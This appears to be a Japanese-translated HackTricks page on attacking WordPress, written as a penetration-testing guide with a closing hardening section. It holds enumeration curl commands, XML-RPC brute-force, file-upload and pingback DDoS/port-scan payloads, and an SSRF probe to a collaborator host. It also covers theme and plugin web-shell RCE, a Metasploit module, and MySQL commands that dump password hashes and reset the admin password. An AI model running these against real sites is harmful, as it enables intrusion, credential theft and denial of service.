Wordpress

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

Trickest を使用して、世界で最も高度なコミュニティツールによって強化された ワークフローを簡単に構築 および 自動化 します。 今すぐアクセスを取得:

基本情報

アップロードされた ファイルはこちらに保存されます: http://10.10.10.10/wp-content/uploads/2018/08/a.txt テーマファイルは /wp-content/themes/ にあります 、したがって、テーマの一部のPHPを変更してRCEを取得する場合はおそらくそのパスを使用します。例: theme twentytwelve を使用して 404.php ファイルにアクセスできます: /wp-content/themes/twentytwelve/404.php 別の有用なURLは次のとおりです: /wp-content/themes/default/404.php

wp-config.php にはデータベースのルートパスワードが記載されています。

チェックするデフォルトのログインパス: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

主要なWordPressファイル

  • index.php

  • license.txt には、インストールされているWordPressのバージョンなど、有用な情報が含まれています。

  • wp-activate.php は、新しいWordPressサイトを設定する際のメールアクティベーションプロセスに使用されます。

  • ログインフォルダ(非表示にするために名前が変更されている場合があります):

    • /wp-admin/login.php

    • /wp-admin/wp-login.php

    • /login.php

    • /wp-login.php

  • xmlrpc.php は、WordPressの機能を表すファイルで、HTTPを転送メカニズムとして、XMLをエンコードメカニズムとして使用してデータを転送できるようにします。この種の通信はWordPressの REST API によって置き換えられています。

  • wp-content フォルダは、プラグインとテーマが保存されるメインディレクトリです。

  • wp-content/uploads/ はプラットフォームにアップロードされたファイルが保存されるディレクトリです。

  • wp-includes/ は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されているディレクトリです。

  • wp-sitemap.xml Wordpressのバージョン5.5以降では、Worpressはすべての公開投稿と公開クエリ可能な投稿タイプおよびタクソノミを含むサイトマップXMLファイルを生成します。

ポストエクスプロイテーション

  • wp-config.php ファイルには、WordPressがデータベースに接続するために必要な情報が含まれています。データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルの接頭辞などが含まれます。この構成ファイルは、トラブルシューティングに役立つデバッグモードをアクティブにするためにも使用できます。

ユーザー権限

  • 管理者

  • 編集者: 自分自身および他の投稿を公開および管理します

  • 著者: 自分自身の投稿を公開および管理します

  • 寄稿者: 投稿を書き、管理しますが、公開することはできません

  • 購読者: 投稿を閲覧し、プロフィールを編集します

パッシブ列挙

WordPressのバージョンを取得

ファイル /license.txt または /readme.html を見つけられるかどうかを確認します

ページの ソースコード 内(例: https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link files

  • JavaScript files

プラグインを取得

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

テーマの取得

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

一般的なバージョンの抽出

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスしてください:

アクティブな列挙

プラグインとテーマ

おそらくすべてのプラグインとテーマを見つけることはできません。すべてを発見するには、プラグインとテーマのリストをアクティブにブルートフォースする必要があります(幸いなことに、このリストを含む自動化ツールがあります)。

ユーザー

IDブルート

WordPressサイトから有効なユーザーを取得するには、ユーザーIDをブルートフォースします:

curl -s -I -X GET http://blog.example.com/?author=1

200または30Xの場合、IDが有効であることを意味します。400の場合、IDが無効であることを意味します。

wp-json

また、次のクエリを使用してユーザーに関する情報を取得することもできます。

curl http://blog.example.com/wp-json/wp/v2/users

もう1つの/wp-json/エンドポイントは、ユーザーに関する情報を明らかにする可能性があります:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. Only information about the users that has this feature enable will be provided.

Also note that /wp-json/wp/v2/pages could leak IP addresses.

ログインユーザー名の列挙

/wp-login.php にログインすると、指定されたユーザー名が存在するかどうかによってメッセージが異なります

XML-RPC

xml-rpc.php がアクティブな場合、資格情報の総当たり攻撃を実行したり、他のリソースにDoS攻撃を行ったりできます(たとえば、これを使用してこのプロセスを自動化できます)。

アクティブかどうかを確認するには、/xmlrpc.php にアクセスし、このリクエストを送信してください:

Check

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

資格情報のブルートフォース

wp.getUserBlogswp.getCategories、または**metaWeblog.getUsersBlogs**は、資格情報のブルートフォースに使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

メッセージ "Incorrect username or password" は、資格情報が無効な場合に200コードのレスポンス内に表示されるべきです。

正しい資格情報を使用すると、ファイルをアップロードできます。レスポンスにはパスが表示されます (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

また、system.multicall を使用して複数の資格情報を同じリクエストで試す高速な方法があります:

2FA をバイパスする

この方法はプログラム向けであり、人間向けではなく、古いため2FAをサポートしていません。したがって、有効な資格情報を持っているが、メインエントランスが2FAで保護されている場合、xmlrpc.php を悪用して2FA をバイパスしてログインできるかもしれません。コンソールを介して行うことができるすべてのアクションを実行することはできませんが、Ippsec がこちらで説明しているように、RCE に到達することができるかもしれません。

DDoS またはポートスキャン

リスト内に pingback.ping メソッドを見つけることができれば、WordPress に任意のホスト/ポートにリクエストを送信させることができます。 これを使用して、数千のWordPress サイトに1つの場所アクセスさせることができます(その場所でDDoSが発生します)または、WordPress に内部のいくつかのネットワークスキャンさせることができます(任意のポートを指定できます)。

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

faultCode の値が 0 (17) よりも大きい場合、ポートが開いていることを意味します。

system.multicall の使用方法を見て、このメソッドを悪用して DDoS を引き起こす方法を学んでください。

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

このファイルは通常、Wordpressサイトのルートの下に存在します: /wp-cron.php このファイルにアクセスすると、重い MySQL クエリが実行されるため、攻撃者DoSを引き起こすために使用できます。 また、デフォルトでは、wp-cron.phpはすべてのページロード(クライアントが任意のWordpressページをリクエストするたび)で呼び出されるため、高トラフィックのサイトでは問題を引き起こす可能性があります(DoS)。

Wp-Cronを無効にして、ホスト内で必要なアクションを定期的に実行する実際のcronjobを作成することが推奨されています(問題を引き起こさずに)。

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net にアクセスし、Wordpressサイトがリクエストを行う可能性があります。

これが機能しない場合の応答:

SSRF

このツールは、methodName: pingback.pingとパス**/wp-json/oembed/1.0/proxy**が存在するかどうかをチェックし、存在する場合はそれらを悪用しようとします。

Automatic Tools

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスを取得:

1ビットを上書きしてアクセスを取得

これは実際の攻撃よりも好奇心です。CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man では、任意のWordPressファイルから1ビットを反転させることができました。したがって、ファイル /var/www/html/wp-includes/user.php の位置 5389 を反転させて、NOT (!) 操作をNOPにすることができます。

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

パネルRCE

使用されているテーマのphpを変更(管理者の資格情報が必要)

外観 → テーマの編集 → 404テンプレート(右側)

phpシェルの内容を変更します:

インターネットで検索して、更新されたページにアクセスできる方法を調べます。この場合、こちらにアクセスする必要があります:http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

次のように使用できます:

use exploit/unix/webapp/wp_admin_shell_upload

プラグインRCE

PHPプラグイン

プラグインとして.phpファイルをアップロードすることが可能かもしれません。 たとえば、次のようにphpバックドアを作成します:

次に新しいプラグインを追加します:

プラグインをアップロードして「今すぐインストール」をクリックします:

「続行」をクリックします:

おそらくこれは何も起こらないように見えますが、メディアに移動するとアップロードされたシェルが表示されます:

アクセスして、逆シェルを実行するためのURLが表示されます:

悪意のあるプラグインのアップロードと有効化

この方法は、脆弱性があると知られている悪意のあるプラグインをインストールし、Webシェルを取得することができるようにするものです。このプロセスはWordPressダッシュボードを介して次のように行われます:

  1. プラグインの取得:プラグインは、ここのようなExploit DBなどのソースから取得されます。

  2. プラグインのインストール

  • WordPressダッシュボードに移動し、ダッシュボード > プラグイン > プラグインをアップロードに移動します。

  • ダウンロードしたプラグインのzipファイルをアップロードします。

  1. プラグインの有効化:プラグインが正常にインストールされると、ダッシュボードを介して有効化する必要があります。

  2. 悪用

  • プラグイン「reflex-gallery」がインストールおよび有効化されている場合、脆弱性があると知られているため悪用できます。

  • Metasploitフレームワークはこの脆弱性のためのエクスプロイトを提供します。適切なモジュールを読み込んで特定のコマンドを実行することで、meterpreterセッションを確立し、サイトへの不正アクセスを許可します。

  • WordPressサイトを悪用するための多くの方法のうちの1つであることに留意してください。

コンテンツには、WordPressダッシュボードでプラグインをインストールおよび有効化する手順を示すビジュアルエイドが含まれています。ただし、このような脆弱性を悪用することは、適切な許可なしには違法で倫理的に問題があります。この情報は責任を持って使用し、明示的な許可を得たペネトレーションテストなどの合法的なコンテキストでのみ使用すべきです。

詳細な手順についてはこちらを参照してください: https://www.hackingarticles.in/wordpress-reverse-shell/**

ポストエクスプロイテーション

ユーザー名とパスワードを抽出します:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Change admin password:

管理者パスワードの変更:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

WordPressの保護

定期的な更新

WordPress、プラグイン、およびテーマが最新であることを確認してください。また、自動更新がwp-config.phpで有効になっていることも確認してください:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

また、信頼できるWordPressプラグインとテーマのみをインストールしてください

セキュリティプラグイン

その他の推奨事項

  • デフォルトのadminユーザーを削除する

  • 強力なパスワード2要素認証を使用する

  • 定期的にユーザーの権限を確認する

  • ブルートフォース攻撃を防ぐためにログイン試行回数を制限する

  • **wp-admin.php**ファイルの名前を変更し、内部からのアクセスまたは特定のIPアドレスからのみアクセスを許可する。

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスしてください:

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!

HackTricksをサポートする他の方法:

Last updated